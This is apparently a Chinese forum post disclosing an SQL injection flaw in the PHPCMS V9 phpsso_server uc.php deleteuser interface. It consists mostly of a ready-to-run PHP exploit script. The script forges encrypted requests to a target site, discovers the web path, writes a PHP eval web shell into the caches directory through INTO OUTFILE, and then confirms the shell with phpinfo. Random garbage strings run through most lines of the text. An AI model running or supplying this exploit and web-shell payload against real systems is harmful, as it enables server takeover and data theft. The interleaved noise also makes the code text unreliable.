PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
! Y! y+ N, x1 I; N @, r& W7 x8 z# k! n. ~* Q
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
/ a: S7 q- a+ J% K7 W4 r7 W/ d& T# X: ^ N- g* P$ W) B) W
漏洞分析:
" o. T) F: @6 R2 O P5 h; [1 w5 `7 y1.未启用ucenter服务的情况下uc_key为空4 S, r, t8 A. d2 F9 V
define('UC_KEY', pc_base::load_config('system', 'uc_key'));0 x+ q" [$ [5 X3 s+ a+ s( ?
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。5 V( M0 z9 ~- _ }, e7 B* ?) L
public function deleteuser($get,$post) {" \5 x9 G8 ]) z1 B
pc_base::load_app_func('global', 'admin');4 w l" e8 U5 x5 p3 X* T
pc_base::load_app_class('messagequeue', 'admin' , 0);. E( L& Y" \& P) n5 c
$ids = new_stripslashes($get['ids']);- V7 F( ^) z, X" C7 _7 ^5 r% y
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
4 V' ]* ]& d! ~6 D/ O3 b1 rSQL语句为
; V+ {4 }2 b: ]7 D' h& v* QSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)# d7 K+ z0 F. c8 A9 a! @* h8 \* }
! M* m# d. s0 S- q3 O4 S% h9 }
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
, U$ w; D% n9 a, u3 X4 M' |<?php
! A, H3 _) k' I) v: N2 g) S. F h- jprint_r('
- v6 X7 v; B9 U! r---------------------------------------------------------------------------# Q4 P4 p: D6 [* A
PHPcms (v9 or Old Version) uc api sql injection 0day3 `. q0 `* Z( f
by rayh4c#80sec.com6 p* [. b7 \- H4 [( W
---------------------------------------------------------------------------
, ~; d( g- @8 ~3 w');; n! e9 t/ e$ d4 w- O( Q3 A9 K! u
* N+ p0 M) S. R
if ($argc<3) {5 g& \$ o9 Y8 L5 o3 i H3 x
print_r(') ~6 V9 e2 _+ H% t1 X5 N, E- R
---------------------------------------------------------------------------; p% q: m& n8 j) Z/ h/ w% j2 G
Usage: php '.$argv[0].' host path OPTIONS* Y1 P: v5 J% d) A$ o
host: target server (ip/hostname)" R. z1 N( L! J
path: path to phpcms$ ~ N% V8 m+ B1 M0 L) ]- y: W* t
Options:& [ Q5 _' x4 }3 v! I
-p[port]: specify a port other than 80
( k/ y1 t2 E) |/ W -P[ip:port]: specify a proxy
2 ?7 M' w( Q# F* B+ V% QExample:" d! }0 H" r! G8 S; U( k$ I7 f) j: ^3 w
php '.$argv[0].' localhost /
' h- y: q2 O* W+ p7 p9 q* O2 @php '.$argv[0].' localhost /phpcms/ -p81
. x3 \- \* B Tphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:809 R5 ]5 f9 a$ S0 `! v* z3 i' B
---------------------------------------------------------------------------. U3 D+ Y. F1 I0 z; i
');
# @; i1 s( R4 B- ? die;
( A2 D. i7 W# X/ P; v}
0 `1 i' H" h# f! [2 L& H2 Q; V, p$ f) Z& \" [! q g% v$ j
error_reporting(7);
8 r' g6 @" c# U/ x6 Pini_set("max_execution_time",0);6 y0 q0 ]& q( f( c( v
ini_set("default_socket_timeout",5);* P0 r# y4 q1 j4 V5 M
! t! A+ f# B3 a% v. l0 Z" ?6 \# [
function quick_dump($string)# u j$ d5 A# G9 d3 ?
{
. v4 h% b6 f M7 | $result='';$exa='';$cont=0;+ h8 z, }' g3 s$ B) f0 O0 x
for ($i=0; $i<=strlen($string)-1; $i++)# j) _, S, w9 t. a/ g, |! P9 {( m
{# R8 O, m2 |' ^
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
. _3 \9 Q! o5 ~; O {$result.=" .";}
# u* u H9 q, r- F( E else
, Z$ r' W5 L" S {$result.=" ".$string[$i];}
) w$ L# X1 T! q if (strlen(dechex(ord($string[$i])))==2)
5 k# A% Q9 `; T' F; c* T {$exa.=" ".dechex(ord($string[$i]));}9 ^% o' Q8 S2 ]6 {$ p& z
else
. M- a% P/ l7 x. Z {$exa.=" 0".dechex(ord($string[$i]));}* k% t) e" w/ j* R- g' [, N c" T
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}9 v- s) T2 V1 w: m2 z3 a
}+ r! w0 X S: \5 r: x
return $exa."\r\n".$result;
- y1 ]( t+ k9 s9 b9 C# }3 e9 K}& w \" V+ s2 g) u, @
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';* L7 @% Q1 @4 y$ i! v" e% c9 b7 S
7 n3 I% H1 v3 z+ s& g* E' L2 V- M
function send($packet)
, b5 r3 [) P" T6 [7 K$ A" Z{' t% }$ T9 d' j) o
global $proxy, $host, $port, $html, $proxy_regex;
, c0 h2 O- r0 n; A; R0 h5 J7 h if ($proxy=='') {
+ _8 T$ o1 V- ^7 @ $ock=fsockopen(gethostbyname($host),$port);7 n' V! `; {4 c, c% N% [* @
if (!$ock) {
% L J/ h" W1 o- |8 B. G echo 'No response from '.$host.':'.$port; die;
3 Z' w% _# C7 o- c" u) s( ? }
) N# D$ N; l: ~3 J' | }
+ A. T. y' O: R7 \5 f7 y else {
% i! l) [9 ]8 _+ X $c = preg_match($proxy_regex,$proxy);- ]! Z1 r7 g- ?' o* B3 D6 _
if (!$c) {! i) O3 g- ~6 {) ]$ @! h% i
echo 'Not a valid proxy...';die;
0 h, y U5 s5 ` }' I$ |1 G2 U, x8 U8 Z x) s
$parts=explode(':',$proxy);
- T8 n2 u1 X. Q; X! E( G6 L+ v $parts[1]=(int)$parts[1];0 f6 d" k4 \8 u; V" o: p, N, l' u
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";1 K( v% M) L# v4 z1 z1 g
$ock=fsockopen($parts[0],$parts[1]);
+ |% z& F% q2 [ { if (!$ock) {( @6 l0 @+ |+ u+ u) V! H
echo 'No response from proxy...';die;; ?0 y3 d3 W" d- _: O0 c- g% i* X
}
4 J9 g0 H- `% m/ J: K { }
3 T( P. Y2 k/ C fputs($ock,$packet); `% G# a/ A6 L/ x# V
if ($proxy=='') {& i$ Y, T6 p2 `- T. {# x
$html='';* t4 }4 @* I! F2 U/ l( c
while (!feof($ock)) {1 R4 i" j' F! Y$ l
$html.=fgets($ock);
, I8 N1 N! M; ?+ c! }3 B) |( g }
' l6 h% l! r+ P7 F8 k) d* R }
: D0 X2 `' v5 {6 e) G! ?6 b else {$ x* F* n w: B1 Q+ S' Z/ A
$html='';
9 o9 \% M5 Y) a* E while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {+ \. \3 K. k7 C0 d5 _& d% w% B
$html.=fread($ock,1);
9 `' M/ L( f8 Y }
# L; l" o( l3 z9 k, Q }1 l& X- J6 \# U0 y, w8 @) l
fclose($ock);7 b! w. z( H# K' h. b3 L
}, \) P+ G0 R I9 J4 U! D5 b! {* g
' o4 D- s" c f% }0 @& B& X1 ~9 R
$host=$argv[1];6 P- f& p/ o" b, }
$path=$argv[2];+ `- a" E* D+ E0 S( h" L; \- Z
$port=80;% ^$ `0 f H- P3 s+ D
$proxy="";
! i) D+ z+ }: E: j8 e- Cfor ($i=3; $i<$argc; $i++){& X. C3 s& q. d: f" R
$temp=$argv[$i][0].$argv[$i][1];2 n) ~' A+ m7 a
if ($temp=="-p"): Q6 s; f/ Y8 v, Y! D/ S
{
m% T6 M) N- G& H. z" a) T $port=(int)str_replace("-p","",$argv[$i]);
6 n2 u- k3 `) q: A/ P}
7 [( h. D7 N, ]/ y9 @# ?% cif ($temp=="-P")6 t0 y' q A$ c' h7 L1 I
{& Y1 h e9 o0 ]6 |
$proxy=str_replace("-P","",$argv[$i]);
~5 r$ q5 ^: |5 W4 \: \3 F; R1 U}
, v# ~7 p% b3 ~3 O9 r2 Y0 X6 q}
" u' k) E8 F n" m8 b0 s" B4 M& I$ G% ]+ [1 H0 |) |
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}3 x4 R, o0 m, D# ?$ q
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
% s+ n* q3 b7 ~1 V! m$ P3 A# [& X8 |7 ^. A7 U3 e2 l
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ K' s$ G( `( D; k' l! K: |; O
) {* K5 L! y3 ?7 r; p, N. g& h $ckey_length = 4;) J/ e, _1 Y# a! p, A# y$ D
" b: L$ p% D( z1 a; N. P2 t
$key = md5($key ? $key : '');
0 m6 }# }; V( J8 {. N* S4 ^ $keya = md5(substr($key, 0, 16));% X6 K+ x; }3 K2 k7 [
$keyb = md5(substr($key, 16, 16));
3 R% ?; ?. R: h' F/ t8 V; u $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';& P! H! p7 ~5 |+ Z& e
0 Q( B7 o; @6 ~1 D. P! k7 W) x% y $cryptkey = $keya.md5($keya.$keyc);
3 G' a& r5 Z7 ? $key_length = strlen($cryptkey);" m- L" |, `8 {4 q3 u5 ^- D
% O0 v& R9 s( \5 U $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
0 E" ?8 e( V4 }& r; x5 n, d. ? $string_length = strlen($string);
# N& t% s% ?0 y$ ^' M4 b, t& E) {% ^; E* t* V9 e
$result = '';
. e/ ?3 ^& i0 H2 A$ T $box = range(0, 255);$ ]+ L: q- D7 A* L& B) M) S
. ^# T, [$ D x
$rndkey = array();) R( V1 @- G# s0 ?" q" w, N
for($i = 0; $i <= 255; $i++) {
% W! y( g0 t& u7 S% ]9 u) D3 s" m6 w $rndkey[$i] = ord($cryptkey[$i % $key_length]);
! ~# u5 a- c6 N! |- X- l }
3 ^: A! y: k: r7 S: F1 [
N; K- v7 t0 l Q! w/ z for($j = $i = 0; $i < 256; $i++) {
: Q6 r ?3 y5 W $j = ($j + $box[$i] + $rndkey[$i]) % 256;
1 i4 }3 X* @% S3 j$ K $tmp = $box[$i];" ]1 @9 }* H7 x; D6 c/ c
$box[$i] = $box[$j];# P5 l+ _4 S! n/ Q4 Z
$box[$j] = $tmp;) l0 P" o8 \; S8 L& C5 j
}
, ?3 j6 B" F1 c# t
8 |. h% I& I# W1 L) ] for($a = $j = $i = 0; $i < $string_length; $i++) {
. a$ \' u: X# D- E+ `% B5 J $a = ($a + 1) % 256;. S" |" I, [2 T) T& @/ a& C$ L
$j = ($j + $box[$a]) % 256;4 ]0 P* D; g1 O l% m8 {3 F
$tmp = $box[$a];
6 K; |, A& k7 _9 d $box[$a] = $box[$j];5 \, k! G) h. Q0 Q9 i. L
$box[$j] = $tmp;
- i5 R* |6 d/ ]6 y) A1 y: \1 f2 m7 d $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
+ b" ]3 ~/ R* D) t$ y$ u } w9 _8 |5 r* V
8 W3 i- \2 v! T/ Z( Q if($operation == 'DECODE') {
; O/ t9 `% w) M* Y; i if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {- V/ G3 w4 D4 U& P! ^
return substr($result, 26);, l* |+ @! n- D8 K7 `
} else {
5 Y1 w q0 a& b return '';+ F% I# E$ q; D( A# p! ^- @
}
2 }+ q9 y G$ ^) {6 f } else {
6 R& k6 Q3 i! |* w return $keyc.str_replace('=', '', base64_encode($result));
' y9 p5 C2 o" z- c+ V, l* n4 w }( J) I& }, w5 U9 |8 g
( P; P9 s8 q' l8 a
}
+ g- _ I- Y$ [1 l" |% E: B6 ]% R4 N0 J" Y" Y3 z2 s
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
4 T, ]$ ?' B4 T' T6 e0 p$SQL = urlencode(authcode($SQL, "ENCODE", ""));
9 F0 G I0 c, o Becho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# B- z. ? ^% M* Q9 F. P1 v) [: g4 n$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
& g. T- r" h. F& N/ K8 `$packet.="User-Agent: Mozilla/5.0\r\n";
" t i: s0 F% X; X$packet.="Host: ".$host."\r\n";
9 q1 n5 _ @- J1 x y& u% k3 P$packet.="Connection: Close\r\n\r\n";& y$ P) Q( c |$ r6 u
send($packet);
+ b) C4 K9 `; w3 Z6 Iif(strpos($html,"MySQL Errno") > 0){
$ {2 S, y! K" f# v; Jecho "[2] 发现存在SQL注入漏洞"."\n";6 l2 f5 L* `( K1 [* l$ @+ C
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";# D# J0 H( ^0 q' W/ G$ R' S
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
9 ]# l. j' X, C: L) y$packet.="User-Agent: Mozilla/5.0\r\n";3 J# ~/ l+ V3 T: A
$packet.="Host: ".$host."\r\n";
7 V- Y+ j; o. {. {& e h$packet.="Connection: Close\r\n\r\n";
1 ?0 N0 b5 ]0 q+ b- @- V. usend($packet);6 b) r# ^2 s m
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);5 C0 t) X3 V" s$ j3 e G5 C# \6 Q
//print_r($matches);
4 c4 v- x' U" i. I8 p7 z8 B8 oif(!empty($matches)){
2 Q* n' }+ Q6 j9 cecho "[4] 得到web路径 " . $matches[0]."\n";* w8 V& l- {: z' d _, G* N
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
% o, k2 Y( u6 ]- `$SQL = "time=999999999999999999999999&ids=1)";
- S, t- z9 D/ e. \% v8 O$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
5 P1 ^1 @* n0 i+ C8 K y( r$SQL.="&action=deleteuser";
9 L. t' S7 i4 ], l- f K9 Z$SQL = urlencode(authcode($SQL, "ENCODE", ""));1 ?- i$ l, X) ]9 x" i; m0 r: y
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
1 G+ K0 R( [" C% m! t( b( d$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( a* m, i7 l0 `! v$ P
$packet.="User-Agent: Mozilla/5.0\r\n";
# i# E* Y3 A/ G, P! B$packet.="Host: ".$host."\r\n";5 K; _. r8 F5 \0 G% |1 B7 {
$packet.="Connection: Close\r\n\r\n";1 b; X0 r6 J+ K8 V# {3 P& ~
send($packet);' S3 ]5 }8 x( C# ~2 m4 L: t+ [
if(strpos($html,"Access denied") > 0){
% l p8 B. R1 q6 zecho "[-] MYSQL权限过低 禁止写入文件 ";; e. Z( o2 ?$ s1 L9 h: u* T3 a
die;
' @/ \- d' y& x0 Y}
m! P1 D) A( a6 }; Recho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";9 H: v( {3 D" o
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
6 W* u& N$ c: T$packet.="User-Agent: Mozilla/5.0\r\n";; N# ^: J( S2 C& C2 d1 u! h
$packet.="Host: ".$host."\r\n";7 A5 Y6 K7 k4 x8 J
$packet.="Connection: Close\r\n\r\n";
( D; {8 r- p7 gsend($packet);
& S; u$ w: Y$ h3 O7 d2 M" Aif(strpos($html,"<title>phpinfo()</title>") > 0){# r; C* d; \' C8 S/ R( U( R
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";8 f, ~) N& \9 _" R/ ^: ?
}* _, j) L u+ q" W/ E( C
}else{( V- {1 j" E4 Q. H! \
echo "[-]未取到web路径 ";
b" a- a5 t( ^4 @5 I. A}
! ?' P/ D6 v' x: P1 w9 M}else{4 `; B0 I1 x' d7 k {
echo "[*]不存在SQL注入漏洞"."\n";% V M4 \; M- ^3 b$ P0 k
}
4 W7 d; {2 V% X' a/ G! E& {4 y8 l& { C6 p! n) e
?>
8 |1 [/ w0 |6 A' I |